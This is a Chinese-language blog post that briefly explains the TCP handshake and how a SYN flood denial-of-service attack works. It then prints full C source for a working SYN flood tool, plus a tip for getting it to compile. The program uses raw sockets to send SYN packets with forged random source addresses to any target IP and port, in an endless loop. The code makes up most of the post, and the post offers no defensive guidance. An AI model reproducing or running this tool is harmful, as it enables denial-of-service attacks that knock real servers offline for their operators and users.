SYN***

在理解SYN***之前我們首先來複習一下TCP的相關知識:

  1. TCP協議的連接狀態圖:

    wKioL1fL41qyf-XMAALGr9CsYMc887.png

TCP的三次連接就是這樣的。

    當成功建立連接的時候,服務端/客戶端雙方都會變更爲ESTABLISED狀態,但是對於服務端而言,還存在着一個狀態。叫做辦連接的狀態,也就是處於SYN_RCVD狀態,一直在等待客戶端發送連接ACK的確認返回。

如果發現有很多SYN_RCVD狀態,那你的機器有可能被SYN Flood的DoS(拒絕服務***)***了。 SYN Flood的***原理是: 在進行三次握手時,***軟件向被***的服務器發送SYN連接請求(握手的第一步),但是這個地址是僞造的,如***軟件隨機僞造了51.133.163.104、65.158.99.152等等地址。服務器在收到連接請求時將標誌位ACK和SYN置1發送給客戶端(握手的第二步),但是這些客戶端的IP地址都是僞造的,服務器根本找不到客戶機,也就是說握手的第三步不可能完成。 這種情況下服務器端一般會重試(再次發送SYN+ACK給客戶端)並等待一段時間後丟棄這個未完成的連接,這段時間的長度我們稱爲SYN Timeout,一般來說這個時間是分鐘的數量級(大約爲30秒-2分鐘);一個用戶出現異常導致服務器的一個線程等待1分鐘並不是什麼很大的問題,但如果有一個惡意的***者大量模擬這種情況,服務器端將爲了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存並遍歷也會消耗非常多的CPU時間和內存,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。此時從正常客戶的角度看來,服務器失去響應,這種情況我們稱做:服務器端受到了SYN Flood***(SYN洪水***


下面是源碼:

#include <stdio.h> 
#include <string.h> 
#include <time.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <asm/types.h> 
#include <linux/ip.h> 
#include <linux/tcp_new.h> 
#include <netdb.h> 
#include <sys/time.h> 


#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) 

void send_tcp(int sockfd,struct sockaddr_in *addr); 
unsigned short checksum(unsigned short *buffer, int size); 
unsigned short random_port(unsigned short minport,unsigned short maxport); 
void random_ip(char *str); 

int main(int argc,char **argv){ 
  int sockfd; 
  struct sockaddr_in addr; 
  //int dport; 
  int on=1; 
  if(argc!=3){ 
     printf("usage: <command_name> <target_ip> <port>\n"); 
     exit(1); 
  } 
  bzero(&addr,sizeof(struct sockaddr_in)); 
  addr.sin_family=AF_INET; 
  addr.sin_port=htons(atoi(argv[2])); 
  inet_pton(AF_INET,argv[1],&addr.sin_addr); 
  
  sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
  if(sockfd<0){ 
     printf("Socket error!\n"); 
     exit(1); 
  } 
  setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 
  while(1){ 
     send_tcp(sockfd,&addr); 
  } 
  return 0; 
} 

void send_tcp(int sockfd,struct sockaddr_in *addr){ 
  char buff[100]; 
  struct iphdr  ip_header; 
  struct tcphdr tcp_header; 
  unsigned short source_port=random_port(1024,5000); 
  char ip_str[50]; 
  struct in_addr ip; 

  random_ip(ip_str); 
  if(inet_aton(ip_str,&ip)==0){ 
     printf("inet_aton error!\n"); 
     exit(1); 
  } 
  bzero(buff,100); 
   
  ip_header.version=4; 
  ip_header.ihl=5; 
  ip_header.tos=0; 
  ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr); 
  ip_header.id=htons(random()); 
  ip_header.frag_off=0; 
  ip_header.ttl=30; 
  ip_header.protocol=IPPROTO_TCP; 
  ip_header.check=0; 
  ip_header.saddr=ip.s_addr; 
  ip_header.daddr=addr->sin_addr.s_addr; 

  tcp_header.source=htons(source_port); 
  tcp_header.dest=addr->sin_port; 
  tcp_header.seq=rand(); 
  tcp_header.doff=sizeof(struct tcphdr)/4; 
  tcp_header.ack_seq=0; 
  tcp_header.res1=0; 
  tcp_header.fin=0; 
  tcp_header.syn=1; 
  tcp_header.rst=0; 
  tcp_header.psh=0; 
  tcp_header.ack=0; 
  tcp_header.urg=0; 
  tcp_header.window=htons(65535); 
  tcp_header.check=0; 
  tcp_header.urg_ptr=0; 

   
  struct{ 
     unsigned long saddr; 
     unsigned long daddr; 
     char mbz; 
     char ptcl; 
     unsigned short tcpl; 
  }psd_header; 

  psd_header.saddr=ip_header.saddr; 
  psd_header.daddr=ip_header.daddr; 
  psd_header.mbz=0; 
  psd_header.ptcl=IPPROTO_TCP; 
  psd_header.tcpl=htons(sizeof(struct tcphdr)); 

  memcpy(buff,&psd_header,sizeof(psd_header)); 
  memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); 
  tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header)); 
   
  memcpy(buff,&ip_header,4*ip_header.ihl); 
  memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header)); 
  ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header)); 
     
  sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0, 
             (struct sockaddr*)addr,sizeof(struct sockaddr_in)); 
  
} 


unsigned short checksum(unsigned short *buffer, int size){ 

  unsigned long cksum=0; 

        while(size >1) { 

            cksum+=*buffer++; 

            size -=sizeof(unsigned short); 

        } 

        if(size ) cksum += *(unsigned char*)buffer;  //..buffer..size..2...... 

        cksum = (cksum >> 16) + (cksum & 0xffff); 

        cksum += (cksum >>16); 

        return (unsigned short)(~cksum); 

} 

unsigned short random_port(unsigned short minport,unsigned short maxport){ 
  srand((unsigned)time(NULL)); 
  return(getrandom(minport,maxport)); 
} 

void random_ip(char *str){ 
  int a,b,c,d,i=0; 
  static long j=0; 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  a=getrandom(0,255); 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  b=getrandom(0,255); 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  c=getrandom(0,255); 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  d=getrandom(0,255); 
  sprintf(str,"%d.%d.%d.%d",a,b,c,d); 
  printf("%s\n",str);   
}

//缺少。
enum { 
TCP_FLAG_CWR = htonl(0x00800000) 
TCP_FLAG_ECE = htonl(0x00400000), 
TCP_FLAG_URG = htonl(0x00200000), 
TCP_FLAG_ACK = htonl(0x00100000), 
TCP_FLAG_PSH = htonl(0x00080000), 
TCP_FLAG_RST = htonl(0x00040000), 
TCP_FLAG_SYN = htonl(0x00020000), 
TCP_FLAG_FIN = htonl(0x00010000), 
TCP_RESERVED_BITS = htonl(0x0FC000000), 
TCP_DATA_OFFSET = htonl(0xF0000000) 
}; 
解決辦法:將tcp.h的內容拷貝到另一個新建的文件tcp_new.h中,在新文件中去掉上面幾行代碼中的htonl,在自己的文件中用#include <linux/tcp_new.h>代替#include <linux/tcp.h>即可。

以上

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章